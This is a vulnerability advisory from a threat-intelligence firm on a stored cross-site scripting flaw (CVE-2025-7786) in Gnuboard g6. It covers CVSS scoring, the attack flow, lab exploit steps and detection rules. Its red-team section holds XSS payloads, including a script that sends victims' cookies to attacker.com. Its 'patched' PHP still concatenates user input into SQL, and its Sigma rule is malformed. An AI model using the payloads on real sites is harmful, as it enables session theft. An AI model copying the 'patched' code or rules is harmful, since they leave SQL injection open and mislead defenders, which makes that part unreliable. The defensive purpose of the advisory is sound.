CVE-2025-7786

Executive Summary

CVE-2025-7786 is a stored cross-site scripting (XSS) vulnerability in Gnuboard g6 up to version 6.0.10. The flaw resides in the /bbs/scrap_popin_update/qa/ file, specifically within the Post Reply Handler component. An attacker can inject arbitrary JavaScript or HTML into the reply content, which is then executed in the context of any user viewing the affected page. The attack is remotely exploitable with low complexity and requires no authentication, but does require user interaction (e.g., a victim viewing the crafted reply). The CVSS score is 3.5 (Low), but the public availability of an exploit increases the risk. No official patch has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – A victim must view the malicious reply.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No direct data theft.
• Integrity (I): Low (L) – The attacker can modify content within the victim's browser session.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low, but with a public exploit, the risk is elevated for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Gnuboard g6 forum software. The /bbs/scrap_popin_update/qa/ endpoint is used to handle post replies. The application fails to properly sanitize or encode user-supplied input before storing it in the database and later rendering it in the browser.

Attack Flow:

1. An attacker sends a POST request to /bbs/scrap_popin_update/qa/ with a crafted wr_content parameter containing malicious JavaScript.
2. The server stores the malicious payload in the database without sanitization.
3. When any user (including administrators) views the thread containing the malicious reply, the browser executes the injected script.
4. The script can perform actions such as session hijacking, defacement, or phishing.

Root Cause: Lack of output encoding and input validation on the wr_content field in the reply handler.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the bbs/scrap_popin_update/qa/ handler. A patched version would include proper HTML encoding of user input before storage and output.

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input
$wr_content = $_POST['wr_content'];
$sql = "INSERT INTO g6_write_qa (wr_content) VALUES ('$wr_content')";
sql_query($sql);

Patched Code (Conceptual):

// Patched: Sanitize input before storage
$wr_content = htmlspecialchars($_POST['wr_content'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO g6_write_qa (wr_content) VALUES ('$wr_content')";
sql_query($sql);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install Gnuboard g6 version 6.0.10 on a local server (e.g., XAMPP, LAMP).
• Create a test forum and a thread in the QA board.

Exploit Steps:

1. Craft a malicious reply with a JavaScript payload:

   <script>alert('XSS')</script>
   

2. Submit the reply via POST to /bbs/scrap_popin_update/qa/ with the parameter wr_content set to the payload.
3. Any user viewing the thread will see the alert box.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /bbs/scrap_popin_update/qa/ containing script tags or event handlers.
• Use WAF rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).

Mitigation:

• Apply input validation and output encoding (see Remediation).
• Restrict access to the QA board if not needed.
• Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /bbs/scrap_popin_update/qa/ with wr_content containing <script> tags.
  • Outbound connections to attacker-controlled domains from the server.
• File System:
  • Modified database entries in the g6_write_qa table with suspicious wr_content values.
• Logs:
  • Web server logs showing repeated POST requests to the vulnerable endpoint.
  • Application logs showing failed validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_7786_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Gnuboard g6 CVE-2025-7786"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7786"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Gnuboard g6 XSS Attempt
id: 8f4c3b2a-1d5e-4f7a-9c8b-0a1b2c3d4e5f
status: experimental
description: Detects XSS attempts against Gnuboard g6 CVE-2025-7786
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/bbs/scrap_popin_update/qa/'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in forum posts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7786 Gnuboard g6 XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/bbs/scrap_popin_update/qa/"; http_uri; content:"wr_content"; http_client_body; pcre:"/<script|onerror=|onload=|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the QA board if not essential, or restrict access to trusted users only.
2. Apply a WAF rule to block requests containing <script> tags in the wr_content parameter.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Patch the code: Add input validation and output encoding to the /bbs/scrap_popin_update/qa/ handler. Use htmlspecialchars() or a similar function.
• Upgrade: Watch for an official patch from Gnuboard and apply it as soon as it is released.
• Implement CSP: Add a Content Security Policy header to mitigate XSS impact.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters-it.com.